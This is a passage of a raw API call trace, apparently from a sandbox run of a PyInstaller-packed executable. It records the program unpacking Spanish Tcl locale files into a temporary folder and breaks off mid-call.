(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.158] GetFileType (hFile=0x10c) returned 0x1 [0037.158] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.158] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.158] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.158] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.158] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.158] CloseHandle (hObject=0x10c) returned 1 [0037.158] GetLastError () returned 0x0 [0037.158] SetLastError (dwErrCode=0x0) [0037.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg") returned 64 [0037.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_cl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.158] GetLastError () returned 0x2 [0037.159] SetLastError (dwErrCode=0x2) [0037.159] GetLastError () returned 0x2 [0037.159] SetLastError (dwErrCode=0x2) [0037.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg", lpFilePart=0x0) returned 0x3f [0037.159] GetLastError () returned 0x2 [0037.159] SetLastError (dwErrCode=0x2) [0037.159] GetLastError () returned 0x2 [0037.159] SetLastError (dwErrCode=0x2) [0037.159] GetLastError () returned 0x2 [0037.159] SetLastError (dwErrCode=0x2) [0037.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg") returned 64 [0037.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_cl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.159] GetFileType (hFile=0x10c) returned 0x1 [0037.159] htonl (hostlong=0xfb000000) returned 0xfb [0037.159] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.159] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.176] CloseHandle (hObject=0x10c) returned 1 [0037.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.177] htonl (hostlong=0x30000000) returned 0x30 [0037.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.177] GetFileType (hFile=0x10c) returned 0x1 [0037.177] htonl (hostlong=0x304d5700) returned 0x574d30 [0037.177] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bfd30, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.177] htonl (hostlong=0x9f000000) returned 0x9f [0037.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.177] htonl (hostlong=0x9f000000) returned 0x9f [0037.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.177] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.177] htonl (hostlong=0xfb000000) returned 0xfb [0037.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.177] htonl (hostlong=0x9f000000) returned 0x9f [0037.177] htonl (hostlong=0xfb000000) returned 0xfb [0037.177] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.178] CloseHandle (hObject=0x10c) returned 1 [0037.178] GetLastError () returned 0x0 [0037.178] SetLastError (dwErrCode=0x0) [0037.178] GetLastError () returned 0x0 [0037.178] SetLastError (dwErrCode=0x0) [0037.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.178] GetFileType (hFile=0x10c) returned 0x1 [0037.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.178] CloseHandle (hObject=0x10c) returned 1 [0037.178] GetLastError () returned 0x0 [0037.178] SetLastError (dwErrCode=0x0) [0037.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.179] GetFileType (hFile=0x10c) returned 0x1 [0037.179] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.179] CloseHandle (hObject=0x10c) returned 1 [0037.179] GetLastError () returned 0x0 [0037.179] SetLastError (dwErrCode=0x0) [0037.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg") returned 64 [0037.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_co.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.179] GetLastError () returned 0x2 [0037.179] SetLastError (dwErrCode=0x2) [0037.179] GetLastError () returned 0x2 [0037.179] SetLastError (dwErrCode=0x2) [0037.179] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg", lpFilePart=0x0) returned 0x3f [0037.179] GetLastError () returned 0x2 [0037.179] SetLastError (dwErrCode=0x2) [0037.179] GetLastError () returned 0x2 [0037.179] SetLastError (dwErrCode=0x2) [0037.179] GetLastError () returned 0x2 [0037.179] SetLastError (dwErrCode=0x2) [0037.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg") returned 64 [0037.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_co.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_co.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.181] GetFileType (hFile=0x10c) returned 0x1 [0037.181] htonl (hostlong=0xfb000000) returned 0xfb [0037.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.181] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.182] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.182] CloseHandle (hObject=0x10c) returned 1 [0037.182] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.182] htonl (hostlong=0x30000000) returned 0x30 [0037.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.182] GetFileType (hFile=0x10c) returned 0x1 [0037.182] htonl (hostlong=0xcf4d5700) returned 0x574dcf [0037.183] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bfdcf, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.183] htonl (hostlong=0x9f000000) returned 0x9f [0037.183] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.183] htonl (hostlong=0x9f000000) returned 0x9f [0037.183] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.183] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.183] htonl (hostlong=0xfb000000) returned 0xfb [0037.183] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.183] htonl (hostlong=0x9f000000) returned 0x9f [0037.183] htonl (hostlong=0xfb000000) returned 0xfb [0037.183] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.183] CloseHandle (hObject=0x10c) returned 1 [0037.183] GetLastError () returned 0x0 [0037.183] SetLastError (dwErrCode=0x0) [0037.183] GetLastError () returned 0x0 [0037.183] SetLastError (dwErrCode=0x0) [0037.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.183] GetFileType (hFile=0x10c) returned 0x1 [0037.183] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.184] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.184] CloseHandle (hObject=0x10c) returned 1 [0037.184] GetLastError () returned 0x0 [0037.184] SetLastError (dwErrCode=0x0) [0037.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.184] GetFileType (hFile=0x10c) returned 0x1 [0037.184] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.184] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.184] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.184] CloseHandle (hObject=0x10c) returned 1 [0037.184] GetLastError () returned 0x0 [0037.184] SetLastError (dwErrCode=0x0) [0037.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg") returned 64 [0037.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_cr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.185] GetLastError () returned 0x2 [0037.185] SetLastError (dwErrCode=0x2) [0037.185] GetLastError () returned 0x2 [0037.185] SetLastError (dwErrCode=0x2) [0037.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg", lpFilePart=0x0) returned 0x3f [0037.185] GetLastError () returned 0x2 [0037.185] SetLastError (dwErrCode=0x2) [0037.185] GetLastError () returned 0x2 [0037.185] SetLastError (dwErrCode=0x2) [0037.185] GetLastError () returned 0x2 [0037.185] SetLastError (dwErrCode=0x2) [0037.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg") returned 64 [0037.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_cr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_cr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.185] GetFileType (hFile=0x10c) returned 0x1 [0037.185] htonl (hostlong=0xfb000000) returned 0xfb [0037.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.185] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.186] CloseHandle (hObject=0x10c) returned 1 [0037.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.187] htonl (hostlong=0x30000000) returned 0x30 [0037.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.187] GetFileType (hFile=0x10c) returned 0x1 [0037.187] htonl (hostlong=0x6e4e5700) returned 0x574e6e [0037.187] SetFilePointerEx (in: hFile=0x10c, 